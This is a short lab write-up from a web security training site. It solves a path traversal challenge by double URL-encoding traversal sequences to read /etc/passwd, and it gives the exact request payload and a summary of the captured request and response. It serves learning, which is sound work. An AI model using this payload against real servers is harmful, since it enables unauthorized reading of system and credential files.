

Lab: File path traversal, traversal sequences stripped with superfluous URL-decode

This lab contains a path traversal vulnerability in the display of product images.

The application blocks input containing path traversal sequences. It then performs a URL-decode of the input before using it.

To solve the lab, retrieve the contents of the `/etc/passwd` file.

Payload: `GET /image?filename=..%252f..%252f..%252fetc/passwd HTTP/2`

The screenshot displays the network tab of a web browser's developer tools. It shows an HTTP request and its corresponding response.

Request:

- Method: GET
- URL: /image?filename=..%252f..%252f..%252fetc/passwd HTTP/2
- Host: 0ab004e032d5b6c808f765e003c00bb.web-security-academy.net
- Cookie: session=9W0uYc3Hlj7BQoIaw0GgFQJZbQ6lr
- Sec-Ch-Ua: "Chromium",v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"
- Sec-Ch-Ua-Mobile: ?0
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
- Sec-Ch-Ua-Platform: "Windows"
- Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
- Sec-Fetch-Site: same-origin
- Sec-Fetch-Mode: no-cors
- Sec-Fetch-Dest: image
- Referer: https://0ab004e032d5b6c808f765e003c00bb.web-security-academy.net/product?productId=1
- Accept-Encoding: gzip, deflate, br
- Accept-Language: en-US,en;q=0.9,es-IN;q=0.8

Response:

- Status: 200 OK
- Content-Type: image/jpeg
- X-Frame-Options: SAMEORIGIN
- Content-Length: 2316

The response body contains the contents of the `/etc/passwd` file, listing system users and regular users with their home directories and default shells.



File path traversal, traversal sequences stripped with superfluous
URL-decode

[Back to lab description >>](#)

LAB Solved 

Congratulations, you solved the lab!

Share your skills!



[Continue learning >>](#)

[Home](#)

Hydrated Crackers



\$66.47

